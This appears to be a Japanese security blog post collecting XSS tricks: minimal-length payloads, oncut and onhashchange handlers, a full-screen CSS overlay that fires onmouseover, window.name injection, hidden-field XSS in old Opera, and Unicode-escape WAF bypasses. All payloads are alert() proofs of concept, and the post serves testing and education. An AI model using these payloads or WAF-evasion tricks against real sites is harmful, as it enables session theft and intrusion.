読者です 読者をやめる 読者になる 読者になる

今日から始めるXSS

XSSに関する変な知識を寄せ集めました。日々の健全なXSSにお役立てください。

●極力短いコードでXSS

本題に入る前に軽く整理します。オーソドックスなXSSであれば、おなじみの次のようなコードになるでしょう。

"><script>alert(document.cookie)</script> *1

しかしながら、Reflectedするのにもかかわらず、場合によっては文字数制限という問題にぶち当たることもあるかと思われます。その場合、より短いコードでXSSを成功させる必要性があります。どこにReflectedされるかによって書き方は変わりますが、大まかには下記のどれかになるでしょう。

◆HTML Body(HTML構文内)

    BAD: <input type="text" value="<?php echo $GET['name']; ?>">

    PoC: "><script>alert(1)</script> (28文字)

    PoC: "onmouseover=alert(1)+ (23文字) ※+は半角スペースの意として使用しています

◆HTTP Body(JavaScript構文内)

    BAD: setName('id', '<?php echo $GET['key']; ?>');

    PoC: ');alert(1)// (14文字)

◆HTTP Header(実質HTML構文)

    BAD: <?php header("Set-Cookie: {$GET['cookie']}"); ?>

    PoC: %0a%0a<script>alert(1)</script> (32文字)

    %0a%0a<html><body><script>alert(1)</script></body></html><!-- *2

Cookieなどの変わり種系

    本稿では言及しません。

    余談ですが、*3

■本題

本稿では、HTML構文内でのXSSを取り上げます。

短いコードを生み出すには削れるところは削る他ないかと思われます。削れそうなところ、要するに「イベントハンドラ」を削ります。解へたどり着くためには、JavaScriptイベントハンドラ一覧をまじまじと眺めましょう……

制約事項として、IE, Firefox, Chrome, Safariの最新バージョンで動作することを設けます。*4 また、PCとタブレット・モバイル端末のタッチ操作の有無などのギャップは考慮しません。

結論から言うと次のコードに落ち着きました。

f:id:reinforchu:20161126100536p:plain

<i/oncut=alert(0)> (19文字)

oncutを使います。わずか5文字です。全体として基本形の28文字からだいぶ削れました。頭の">を付けると21文字ですね。oncutはクリップボードに切り取り(Ctrl+X)をした際に発火するイベントです。f:id:reinforchu:20161126100550p:plain

ただし、テキストボックスやテキストエリアなどの文字入力フォームが無いと発火しないので使い所を選びますが……oncopyより1文字少ない!!!え?違うそうじゃないって??

参考情報:DOM events - Wikipedia

 

●onmouseoverでほぼ即時発火させる

 onなんとか系のイベントハンドラを発火させるXSSの場合、当然イベントを発火させないといけないので、「画面上に表示されている、戻るリンク上にマウスのカーソルを移動させます。」といった動作説明が必要ですが、それを描画されている画面上のどこでも動かすと発火させることが可能です。

単純明快、非常に簡単で、要するに次のスタイルシートをくっつけます。

style="position:absolute;width:100%;height:100%;top:0;left:0;"

 絶対位置(position:absolute;)で左上(top:0;left:0;)から画面全体(width:100%;height:100%;)に適用させるCSSです。ハイパーリンクの場合、動作的には画面全体がリンクになります。(どこをクリックしてもページ遷移します。) XSSと組み合わせると次のようになります。

<a href="localhost/?page="onmouseover="alert(1)"style="position:absolute;width:100%;height:100%;top:0;left:0;">Back</a>

これにより、 onmouseoverにかかっている要素まで操作することなく発火します。マウスを動かしただけで発火するので、実質的に即時発火します。

f:id:reinforchu:20161126105623p:plain

本来Backは見出しの下に表示されるはずですが、左上に表示され、マウスを動かしただけでJavaScriptが動きます。onmouseover以外でも発火すると思われます。

 

●記号を使わないXSS

意図的にXSSさせる書き方以外、基本的には次のいづれかの記号「'"><;()/」が必要になりますが、微妙な刺さり方をしている場合、XSSが起こりそうだけど文字数制限やWAFによって弾かれるというケースもあるかと思います。タイトルに偽りありですが、「.」だけ使えれば一応XSSは出来ます。

そういう仕様なのでなんとも言えませんが、window.nameプロパティにJavaScriptコードを埋め込んでも評価されます。window.nameはその名の通りウィンドウ名をセットするプロパティですが、外部から操作可能なプロパティです。この手法で攻撃すると下記のようになります。

f:id:reinforchu:20161126111851p:plain

意図したJavaScriptコードが実行されました。擬似的に再現するために、2つの疑似攻撃用ページを使っています。

・window2.html

f:id:reinforchu:20161126112045p:plain

<form action="./window1.html?url=window.name" name="auto" method="post" target="javascript:alert(1)">

攻撃対象へ自動的にPOSTするHTMLページです。(ポップアップブロックの例外が必要です) a要素のtarget属性の値にJavaScriptコードを仕込んでます。これで window.name に値がセットされるようです。ポイントは2つです。Reflectedされる微妙な箇所(QueryStringのurlの値)と、window.nameにセットさせるJavaScriptコード(target属性の値)です。

・window1.html

f:id:reinforchu:20161126113025p:plain

location.hrefでwindow.nameの中身にリダイレクトされるので、javascript:alert(1) が実行されるということです。

location.hrefでリダイレクトされるという決め打ちのケースですが、概念的にはこのような流れになります。巷ではインラインフレームを使う方法もありますね。location.href以外、例えばeval(window.name)でも同じ結果になります。刺さり方によりますが、alert(), confirm()や特定の記号が使えない場合に上手いこと刺さるかもしれないですね。

 

●WAFをバイパスしそうなXSS

設定に大きく依存しますが、経験上AWSとmod_securityのWAFはバイパスしました。

Unicode Escape Sequence の文字列を変数にセットして評価させる

f:id:reinforchu:20161126121721p:plain

i='\u0061\u006c\u0065\u0072\u0074\u0028\u0030\u0029';new Function(i)();

Unicode Escape Sequence というやつを使ってalert()という文字列を使わずにalert(0)が出来ます。

 

・onhashchange を使う

f:id:reinforchu:20161126123718p:plain

<input type="text" value=""><body/onhashchange=alert(1)><a href=#>xss</a>">

マイナーなイベントハンドラ onhashchange を使ったXSSです。onhashchangeはwindowのハッシュ値が変わった時に発火します。上記の場合、xssというアンカーリンクをクリックすると発火します。

このほか、色んな手法が山ほどあるので、ググってプロのTipsを見たほうが良いかも。

 

●hiddenでXSS

悪魔の証明のようなものですが、不可視フォームデータの <input type="hidden"> に刺さってしまってもどうにかしてalert(1)を出したいところ。基本的にどのイベントハンドラも発火しない仕様です。が、一部の環境において、発火する組み合わせがあります。

f:id:reinforchu:20161126130445p:plain

<input type="hidden" name="id" value=""onformchange="alert(1)">

古いバージョンのOperaと、onformchange の組み合わせで発火します。onformchange はフォームへ入力し、その後抜けた時に発火します。

f:id:reinforchu:20161126131142p:plain

Opera 12.16 でXSSを確認しました。少し調べてみるとバグらしいです。

hidden フィールドでXSSさせる手法はこのほかにもあります。

参考情報:Index of /pub/opera/ ※古いバージョンのOperaがひっそり配布されています。(公式)

 

●クォートで囲まずに文字列をalertさせる

例えば alert(xss) ではダイアログは出ず、クォートで囲って alert("xss") としなければなりませんが、alert(/文字列/.source) という書き方でも問題ありません。XSS現場で使えるかどうかは微妙ですが。

f:id:reinforchu:20161126125450p:plain

<input type="text" value=""><script>alert(/クォート いらない よー/.source)</script>">

半角スペースが入ったり、2バイト文字でも大丈夫です。

 

 

以上。これが正解という訳ではなく、よりスマートな攻撃手法も存在しています。まずは手を動かして、考えるに越したことはないです。

世の中がセキュアなWebアプリケーションでありますように。

*1:セッションIDなどのCookie情報にアクセスできること、つまりXSS脆弱性によって窃取可能であるリスクが内在していることを示すために document.cookie を採用しています。なお、httponly属性が付与されていないなどの場合は、location.href を代用することがあります。

*2:綺麗に書くとこうだけど、HTMLは適度に動いてくれるので……

*3:古いIEのバージョンの場合、キャッシュされたコンテンツのContent-Typeを引き継ぐ謎の仕様を発見をしました。つまり、text/htmlな適当なコンテンツをキャッシュさせておけば、再問い合わせ(更新)した場合、text/plainなどでも“コンテンツの内容が変わっている”のにも関わらずtext/htmlで処理されてしまうためXSSが成功するというもの。1年以上前の記憶なのであんまり覚えてないし、既知かもしれないし、攻撃難度は高いと思われるので参考情報程度に。(Content sniffing ではないっぽい)※これではないけど、検証済みの類似したやつは某弊社で報告出しといたよ。

*4:そうでない場合、リスクアセスメントの際、限定的な環境でのXSSは基準から再考することがあります。原則として主観的な判断はしませんが。例:IEの画像XSS